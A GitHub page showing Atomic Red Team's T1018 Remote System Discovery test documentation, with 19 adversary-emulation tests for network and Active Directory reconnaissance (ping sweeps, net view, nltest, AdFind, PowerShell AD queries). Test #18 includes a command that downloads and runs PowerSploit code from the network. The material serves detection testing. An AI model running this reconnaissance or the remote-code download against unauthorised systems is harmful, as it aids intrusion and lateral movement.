Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

f339e7d

Go to file

- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
    - T1018.md
    - T1018.yaml
  - T1020
  - T1021.001
  - T1021.002
  - T1021.003
  - T1021.006
  - T1027.001
  - T1027.002
  - T1027.004
  - T1027
  - T1030
  - T1033
  - T1036.003
  - T1036.004
  - T1036.005

atomic-red-team / atomics / T1018 / T1018.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 819934c · 2 years ago History

Preview Code Blame 767 lines (372 loc) · 18.3 KB Raw

T1018 - Remote System Discovery

Description from ATT&CK

> Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or `net view` using [Net](https://attack.mitre.org/software/S0039).
> Adversaries may also analyze data from local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts`) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.
>
> Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)

Atomic Tests

- Atomic Test #1 - Remote System Discovery - net
- Atomic Test #2 - Remote System Discovery - net group Domain Computers
- Atomic Test #3 - Remote System Discovery - nltest
- Atomic Test #4 - Remote System Discovery - ping sweep
- Atomic Test #5 - Remote System Discovery - arp
- Atomic Test #6 - Remote System Discovery - arp nix
- Atomic Test #7 - Remote System Discovery - sweep
- Atomic Test #8 - Remote System Discovery - nslookup
- Atomic Test #9 - Remote System Discovery - adidnsdump
- Atomic Test #10 - Adfind - Enumerate Active Directory Computer Objects
- Atomic Test #11 - Adfind - Enumerate Active Directory Domain Controller Objects
- Atomic Test #12 - Remote System Discovery - ip neighbour
- Atomic Test #13 - Remote System Discovery - ip route
- Atomic Test #14 - Remote System Discovery - ip tcp_metrics

- T1036.006
- T1036
- T1037.001
- T1037.002
- T1037.004
- T1037.005

- Atomic Test #15 - Enumerate domain computers within Active Directory using DirectorySearcher
- Atomic Test #16 - Enumerate Active Directory Computers with Get-AdComputer
- Atomic Test #17 - Enumerate Active Directory Computers with ADSISearcher
- Atomic Test #18 - Get-DomainController with PowerView
- Atomic Test #19 - Get-wmiobject to Enumerate Domain Controllers

Atomic Test #1 - Remote System Discovery - net

Identify remote systems with net.exe.

Upon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled.

Supported Platforms: Windows

auto_generated_guid: 85321a9c-897f-4a60-9f20-29788e50bccd

Attack Commands: Run with `command_prompt`!

```
net view /domain
net view
```

Atomic Test #2 - Remote System Discovery - net group Domain Computers

Identify remote systems with net.exe querying the Active Directory Domain Computers group.

Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: f1bf6c8f-9016-4edf-aff9-80b65f5d711f

Attack Commands: Run with `command_prompt`!

```
net group "Domain Computers" /domain
```

Atomic Test #3 - Remote System Discovery - nltest

Identify domain controllers for specified domain.

Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 52ab5108-3f6f-42fb-8ba3-73bc054f22c8

Inputs:

Name	Description	Type	Default Value
target_domain	Domain to query for domain controllers	String	%userdnsdomain%

Attack Commands: Run with `command_prompt`!

```
nltest.exe /dclist:#{target_domain}
```

Atomic Test #4 - Remote System Discovery - ping sweep

Identify remote systems via ping sweep.

Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 6db1f57f-d1d5-4223-8a66-55c9c65a9592

Attack Commands: Run with `command_prompt`!

```
for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i
```

Atomic Test #5 - Remote System Discovery - arp

Identify remote systems via arp.

Upon successful execution, cmd.exe will execute arp to list out the arp cache. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: 2d5a61f5-0447-4be4-944a-1f8530ed6574

Attack Commands: Run with `command_prompt`!

```
arp -a
```

Atomic Test #6 - Remote System Discovery - arp nix

Identify remote systems via arp.

Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.

Supported Platforms: Linux, macOS

auto_generated_guid: acb6b1ff-e2ad-4d64-806c-6c35fe73b951

Attack Commands: Run with `sh`!

```
arp -a | grep -v '^?'
```

Dependencies: Run with `sh`!

Description: Check if arp command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v arp)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
(which yum && yum -y install net-tools)||(which apt-get && apt-get insta
```

Atomic Test #7 - Remote System Discovery - sweep

Identify remote systems via ping sweep.

Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.

Supported Platforms: Linux, macOS

auto_generated_guid: 96db2632-8417-4dbb-b8bb-a8b92ba391de

Inputs:

Name	Description	Type	Default Value
start_host	Subnet used for ping sweep.	String	1
stop_host	Subnet used for ping sweep.	String	254
subnet	Subnet used for ping sweep.	String	192.168.1

Attack Commands: Run with `sh`!

```
for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip;
```

Atomic Test #8 - Remote System Discovery - nslookup

Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.

Supported Platforms: Windows

auto_generated_guid: baa01aaa-5e13-45ec-8a0d-e46c93c9760f

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$pieces = $localip.split(".")
$firstOctet = $pieces[0]
$secondOctet = $pieces[1]
$thirdOctet = $pieces[2]
foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" }
```

Atomic Test #9 - Remote System Discovery - adidnsdump

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will list dns zones in the terminal.

Supported Platforms: Windows

auto_generated_guid: 95e19466-469e-4316-86d2-1dc401b5a959

Inputs:

Name	Description	Type	Default Value
user_name	username including domain.	String	domain\user
acct_pass	Account password.	String	password
host_name	hostname or ip address to connect to.	String	192.168.1.1

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
adidnsdump -u #{user_name} -p #{acct_pass} --print-zones #{host_name}
```

Dependencies: Run with `powershell`!

Description: Computer must have python 3 installed

Check Prereq Commands:

```
if (python --version) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
echo "Python 3 must be installed manually"
```

Description: Computer must have pip installed

Check Prereq Commands:

```
if (pip3 -V) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
echo "PIP must be installed manually"
```

Description: adidnsdump must be installed and part of PATH

Check Prereq Commands:

```
if (cmd /c adidnsdump -h) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
pip3 install adidnsdump
```

Atomic Test #10 - Adfind - Enumerate Active Directory Computer Objects

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: a889f5be-2d54-4050-bd05-884578748bb4

Inputs:

Name	Description	Type	Default Value
adfind_path	Path to the AdFind executable	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

Attack Commands: Run with `command_prompt`!

```
#{adfind_path} -f (objectcategory=computer)
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

```
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

Atomic Test #11 - Adfind - Enumerate Active Directory Domain Controller Objects

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

Supported Platforms: Windows

auto_generated_guid: 5838c31e-a0e2-4b9f-b60a-d79d2cb7995e

Inputs:

Name	Description	Type	Default Value
adfind_path	Path to the AdFind	Path	PathToAtomicsFolder\T1087.002\src\AdFind.exe

	executable		

Attack Commands: Run with `command_prompt`!

```
#{adfind_path} -sc dclist
```

Dependencies: Run with `powershell`!

Description: AdFind.exe must exist on disk at specified location (#{adfind_path})

Check Prereq Commands:

```
if (Test-Path #{adfind_path}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/r
```

Atomic Test #12 - Remote System Discovery - ip neighbour

Use the ip neighbour command to display the known link layer (ARP table) addresses for hosts sharing the same network segment.

Supported Platforms: Linux

auto_generated_guid: 158bd4dd-6359-40ab-b13c-285b9ef6fa25

Attack Commands: Run with `sh`!

```
ip neighbour show
```

Dependencies: Run with `sh`!

Description: Check if ip command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
apt-get install iproute2 -y
```

Atomic Test #13 - Remote System Discovery - ip route

Use the ip route command to display the kernels routing tables.

Supported Platforms: Linux

auto_generated_guid: 1a4ebe70-31d0-417b-ade2-ef4cb3e7d0e1

Attack Commands: Run with `sh`!

```
ip route show
```

Dependencies: Run with `sh`!

Description: Check if ip command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
apt-get install iproute2 -y
```

Atomic Test #14 - Remote System Discovery - ip tcp_metrics

Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses.

Supported Platforms: Linux

auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388

Attack Commands: Run with `sh`!

```
ip tcp_metrics show |grep --invert-match "^127\."
```

Dependencies: Run with `sh`!

Description: Check if ip command exists on the machine

Check Prereq Commands:

```
if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
apt-get install iproute2 -y
```

Atomic Test #15 - Enumerate domain computers within Active Directory using DirectorySearcher

This test is a Powershell script that enumerates Active Directory to determine computers that are joined to the domain. This test is designed to mimic how SessionGopher can determine the additional systems within a domain, which has been used before by threat actors to aid in lateral movement. Reference: Head Fake: Tackling Disruptive Ransomware Attacks. Upon successful execution, this test will output the names of the computers that reside on the domain to the console window.

Supported Platforms: Windows

auto_generated_guid: 962a6017-1c09-45a6-880b-adc9c57cb22e

Attack Commands: Run with `powershell`!

```
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearch
$DirectorySearcher.PropertiesToLoad.Add("Name")
$Computers = $DirectorySearcher.findall()
foreach ($Computer in $Computers) {
  $Computer = $Computer.Properties.name
  if (!$Computer) { Continue }
  Write-Host $Computer}
```

Dependencies: Run with `powershell`!

Description: This PC must be joined to a domain.

Check Prereq Commands:

```
if ((Get-WmiObject -Class Win32_ComputerSystem).partofdomain -eq $true)
```

Get Prereq Commands:

```
write-host "This PC must be manually added to a domain."
```

Atomic Test #16 - Enumerate Active Directory Computers with Get-AdComputer

The following Atomic test will utilize Get-AdComputer to enumerate Computers within Active Directory. Upon successful execution a listing of Computers will output with their paths in AD. Reference: https://github.com/MicrosoftDocs/windows-powershell-docs/blob/main/docset/winserver2022-ps/activedirectory/Get-ADComputer.md

Supported Platforms: Windows

auto_generated_guid: 97e89d9e-e3f5-41b5-a90f-1e0825df0fdf

Attack Commands: Run with `powershell`!

```
Get-AdComputer -Filter *
```

Atomic Test #17 - Enumerate Active Directory Computers with ADSISearcher

The following Atomic test will utilize ADSISearcher to enumerate computers within Active Directory. Upon successful execution a listing of computers will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/

Supported Platforms: Windows

auto_generated_guid: 64ede6ac-b57a-41c2-a7d1-32c6cd35397d

Attack Commands: Run with `powershell`!

```
([adsisearcher]"objectcategory=computer").FindAll(); ([adsisearcher]"obj
```

Atomic Test #18 - Get-DomainController with PowerView

Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.

Supported Platforms: Windows

auto_generated_guid: b9d2e8ca-5520-4737-8076-4f08913da2c4

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/
```

Atomic Test #19 - Get-wmiobject to Enumerate Domain Controllers

The following Atomic test will utilize get-wmiobject to enumerate Active Directory for Domain Controllers. Upon successful execution a listing of Systems from AD will output with their paths. Reference: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1

Supported Platforms: Windows

auto_generated_guid: e3cf5123-f6c9-4375-bdf2-1bb3ba43a1ad

Attack Commands: Run with `powershell`!

```
get-wmiobject -class ds_computer -namespace root\directory\ldap
```